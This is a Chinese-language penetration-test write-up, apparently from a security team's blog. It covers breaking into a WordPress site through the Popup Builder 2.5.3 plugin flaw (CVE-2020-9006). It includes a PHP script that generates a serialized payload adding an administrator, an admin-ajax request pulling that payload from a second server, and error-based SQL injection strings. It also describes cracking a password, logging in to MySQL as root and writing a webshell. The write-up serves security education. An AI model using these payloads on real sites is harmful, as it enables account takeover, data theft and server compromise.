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渗透测试之⿊⽩⽆常

这是  酒仙桥六号部队  的第  2 0  篇⽂章。

全⽂共计 3 0 0 2个字，预计阅读时⻓ 1 0分钟。

1 背景

本⽂是前段时间做过的测试，当时并没有进⾏截图以及记录，所以本⽂全篇使⽤本地搭

建环境来复现，如有觉得不合理的地⽅，可能是本地复现的时候未完全还原真实环境，

主要是记录当时在做这个渗透测试的思路。

2 寻找突破⼝

打开⽬标⽹站后，发现是⼀个博客系统，使⽤W e b指纹识别系统显示是W o r d P r e s s

（其实这⾥⼿⼯都可以测试出来，但是当时偷懒了，直接丢到W e b指纹识别系统了），

经过测试前台⼏乎没有发现什么有价值的地⽅，后来发现后台为默认后台，也就是 / w p -

a d m i n /，顺⼿测试了⼀波弱⼝令a d m i n / a d m i n，没成想居然成功进⼊后台了。
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成功登录后台。
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常规w o r d p r e s s的后台拿 s h e l l基本都是利⽤插件上传或者主题上传，或者编辑插件编

辑主题等⽅式进⾏操作，但是本次测试的⽬标将这些功能全部删除了，没有上传插件以

及上传主题的地⽅。
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上图在默认的程序中应该有⼀个上传插件按钮，但是该测试程序被删除了，⽽且后台处

理上传插件的接⼝也被⼀并删除或者修改了。在尝试其他后台拿到w e b s h e l l失败的情况

下，翻到插件列表，发现已经安装的插件有⼀个P o p u p  B u i l d e r插件版本是2 . 5 . 3。

由于其他常规的拿 S h e l l⽅式都测试过⽆法成功利⽤，所以就想着这些插件会不会有漏

洞，毕竟好多W o r d P r e s s的⽹站最后都败在了不安全的插件上，所以这⾥对照着系统安

装的软件名及版本在本地下载搭建进⾏代码审计。

3 代码审计

W o r d P r e s s的P o p u p  B u i l d e r插件是⼀个弹窗构建器插件，使⽤P o p u p  B u i l d e r弹出

任何内容，为W o r d P r e s s博客或⽹站创建和管理功能强⼤的促销模式弹出窗⼝。功能强

⼤且易于使⽤的此插件，可帮助您吸引访问者的注意⼒，向他们介绍您的优惠，折扣或

其他类型的促销通知。该插件⽬前已经活跃安装 1 0万+。
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⽬前该插件版本已经是 3 . 6 5 . 1了，但是我们⽬标系统的该插件版本为 2 . 5 . 3 ,所以不能直

接在该插件⻚⾯进⾏下载安装，这⾥分享⼀个⼩技巧，可以下载指定版本的W o r d P r e s s

插件。

在后台的安装插件⻚⾯，可以看到插件详情，有⼀个W o r d P r e s s插件⻚⾯的链接地址，

点击可以跳转到W o r d P r e s s中该插件的官⽹。
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打开后会有⼀个 d o w n l o a d按钮，点击即可开始下载，但是该U R L可以通过修改版本号

来达到下载任意版本的插件。
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下载下来后经过⼀堆⽆⽤的分析和查看，省略⼀⼤堆操作，直接说最后审计出来的问题

吧。

问 题 出 在 ⽂ 件 \ w p - c o n t e n t \ p l u g i n s \ p o p u p -

b u i l d e r \ f i l e s \ s g _ p o p u p _ a j a x . p h p中的 s g I m p o r t P o p u p s函数，该函数将P O S T的

a t t a c h m e n t U r l参数直接赋值并直接使⽤，代码如下：
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根据该函数的代码显示， P O S T传值的 a t t a c h m e n t U r l字段应该是⼀个⽹址，使⽤

f i l e _ g e t _ c o n t e n t s函数获取该⽹址数据，进⾏了⼀次 b a s e 6 4解密，再进⾏了⼀次反

序列化，之后将得到的数据进⾏循环存⼊数据库。

由此可以推测，根据 f o r e a c h循环内容及拼接字段显示，就能向数据库⾥⾯的任意表插

⼊数据。因为传输的数据是需要进⾏ b a s e 6 4解密和反序列化的，所以根据程序代码要

求的字段以及格式编写⼀个⽣成p a y l o a d的代码，这⾥使⽤P H P编写的脚本。

放到P H P环境下，访问可获得p a y l o a d。
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<?php

$contents = array(

  'customData' => array('users' => array(

    0 => array('aaaa',

      '$BG3Bc6Y9Er4hAHVCBvTVkbs9HJ0lKk.',

      'aaaa',

      'aa@aa.com',

      'https://aaa.cn',

      '0',

      'aaaa',

    )

  )),

  'customTablesColumsName' => array('users' =>

    array(

      0 => array('Field' => 'user_login'),

      1 => array('Field' => 'user_pass'),

      2 => array('Field' => 'user_nicename'),

      4 => array('Field' => 'user_email'),

      5 => array('Field' => 'user_url'),

      6 => array('Field' => 'user_status'),

      7 => array('Field' => 'display_name'),

    ),

  )

);

$payload = base64_encode(serialize($contents));

echo $payload;
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放到P H P环境下，访问可获得 p a y l o a d。P a y l o a d已经有了，现在需要知道如何请求这

个函数，访问的U R L是什么。

通 过 查 看 \ w p - c o n t e n t \ p l u g i n s \ p o p u p - b u i l d e r \ f i l e s \ s g _ p o p u p _ a j a x . p h p ⽂

件中 1 5 1⾏，也就是该函数完毕后的那⼀⾏。

W o r d P r e s s的设计中 a d d _ a c t i o n函数是⽤于添加动作的，回调函数就是我们刚刚分析

的 那 个 函 数 s g I m p o r t P o p u p s ( ) , ⽽ w p _ a j a x _ i m p o r t _ p o p u p s 是 所 挂 载 的 动 作

（ a c t i o n）的名称，⽽ a d d _ a c t i o n的定义是在w p - i n c l u d e s / p l u g i n . p h p  ⽂件中，

其实还是调⽤了⼀次a d d _ f i l t e r函数。

所 以 根 据 W o r d P r e s s 的 规 则 ， 本 插 件 该 函 数 应 该 请 求 的 U R L 的 地 址 为 ：

h t t p : / / w w w . x x x . c o m / w p - a d m i n / a d m i n - a j a x . p h p

4 漏洞利⽤之新增管理员

通过以上分析，我们可以实现通过U R L请求直接向数据库中的任意表中新增数据，所以

这个漏洞利⽤危害⽐较⼤的应该就是增加超级管理员账号，也就是往w p _ u s e r s表中新

增数据（虽然我们现在已经进⼊后台了，这⾥只是为了验证该漏洞是否存在以及对我们

代码审计出的结果进⾏验证）。



2020/7/27 渗透测试之⿊⽩⽆常

https://mp.weixin.qq.com/s/O7bDgQrc2M5Fc60dRtVM6g 10/20

根据代码显示通过读取 u r l⾥的内容，可以⾃定义数据内容，并且内容没有进⾏任何的处

理及过滤就直接进⼊数据库进⾏ I N S E R T。

构造新增管理员的p a y l o a d，新增⼀个登录名叫a a a a密码为a d m i n的超级管理员。
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执⾏该脚本得到的p a y l o a d为：

1 YToyOntzOjEwOiJjdXN0b21EYXRhIjthOjE6e3M6NToidXNlcnMiO2E6MTp7aTowO2E6Nzp7a
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将该字符串保存为 t x t⽂件（别的⽂件也可以）存放另⼀台服务器上，拼装参数进⾏访

问：

a c t i o n参数上⾯已经说到是⼀个h o o k，a t t a c h m e n t U r l参数就是该插件需要访问的u r l

地址，执⾏结果如下：

查看数据库，u s e r表中已经新增另⼀个⽤户a a a a了。

5 漏洞利⽤之SQL注⼊

既然能够成功执⾏S Q L语句，并且能新增管理员或者往其他数据表中插⼊数据，那么理

论上这个地⽅也是存在S Q L注⼊的，这⾥使⽤报错注⼊来尝试是否存在S Q L注⼊，⽣成

的p a y l o a d的脚本如下：

1 action=import_popups&attachmentUrl=http://192.168.27.1/wordpress-5.2.3/3.
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⽣成后的内容为：

请求访问：

1 YToyOntzOjEwOiJjdXN0b21EYXRhIjthOjE6e3M6NToidXNlcnMiO2E6MTp7aTowO2E6Nzp7a
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该p a y l o a d代⼊之后在数据库⾥执⾏的S Q L语句为：

可以看出这⾥存在S Q L注⼊，根据以上⽅法，继续爆库：

爆表，这⾥如果直接使⽤以下语句，那么会报错，提示输出不⽌⼀个结果。

1 INSERT INTO wp_users(user_login, user_pass, user_nicename, user_email, us

1 aaaa' or updatexml(1,concat(0x7e,(select table_name from information_sche
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所以，爆表的 p a y l o a d需要加 l i m i t来控制返回结果，通过控制 L i m i t参数爆出所有的数

据表。

根据此⽅法，依次注⼊出w p _ u s e r s表内容发现存在两个⽤户，其中⼀个是 a d m i n还有

⼀个 l i x i n的账户。

查询该账户的密码，密⽂为： $ P $ B j H S 8 Q L d m C a T N i i Q n v f u E 7 3 0 m e y n g J 0，解密

后得到 l i x i n的账户密码为： l i x i n @ 1 2 3。

1 aaa' or updatexml(1,concat(0x7e,(select table_name from information_schem
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6 拿到WebShell

因为已经进⼊后台了，所以其实这⾥注⼊出数据并没有什么作⽤，尝试过使⽤ S Q L写

S h e l l但是并未成功，注⼊出来实在属于暂时没找到其他突破⼝，闲的⽆聊的情况下就将

数据注⼊出来了，却没成想这却成为了后续测试的突破⼝。通过端⼝扫描发现⽬标服务

器开放 3 3 0 6端⼝，也就是M y s q l是对外开放的。最终使⽤账户 r o o t密码 l i x i n @ 1 2 3成

功登陆m y s q l数据库。
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虽然已经拿到了M y s q l的 r o o t权限，但是肯定不能就这么结束啊，继续寻找可以利⽤的

点，使⽤M y s q l的命令执⾏功能查看M y s q l的安装路径，使⽤@ @ d a t a d i r函数查看。
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由于本⽂章是在本地复现的，所以环境会有⼀定的差异，当时在做测试的时候，查看到

的m y s q l路径是 / r o o t / l n m p / m y s q l下的⽬录，根据⽬录结构以及常规命名和使⽤习惯

来说，最后通过测试，猜测到⽹站绝对路径为 / r o o t / l n m p / w w w⽬录，到此为⽌获得

的东⻄为 r o o t权限的M y s q l账户，⽹站绝对路径，尝试使⽤M y s q l进⾏写 s h e l l。

使⽤查询写⻢的⽅式成功写⼊⼀句话⽊⻢，使⽤蚁剑或菜⼑连接。

成功拿到W e b S h e l l。
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本次测试到这⾥就结束了，由于授权的原因并没有进⾏后续的提权或者内⽹等操作。

7 结语

本⽂其实只是针对W o e d P r e s s的 P o p u p  B u i l d e r插件 2 . 5 . 3版本，通过代码审计发现

并利⽤了该插件的S Q L注⼊漏洞，但是漏洞点其实还有⼀个反序列化，⾄于是否存在反

序列化漏洞，当初在做测试的时候由于时间关系并没有去分析，所以这⾥暂不讨论。

后 续 通 过 在 搜 索 引 擎 上 检 索 居 然 发 现 该 漏 洞 还 存 在 ⼀ 个 C V E 编 号 （ C V E - 2 0 2 0 -

9 0 0 6），这⾥如果早点发现该C V E编号，那么在代码审计的时候可以少⾛好多弯路，

节省⼤量时间，所以在以后的项⽬中⼀定要注意信息收集，尽量全⾯、仔细。
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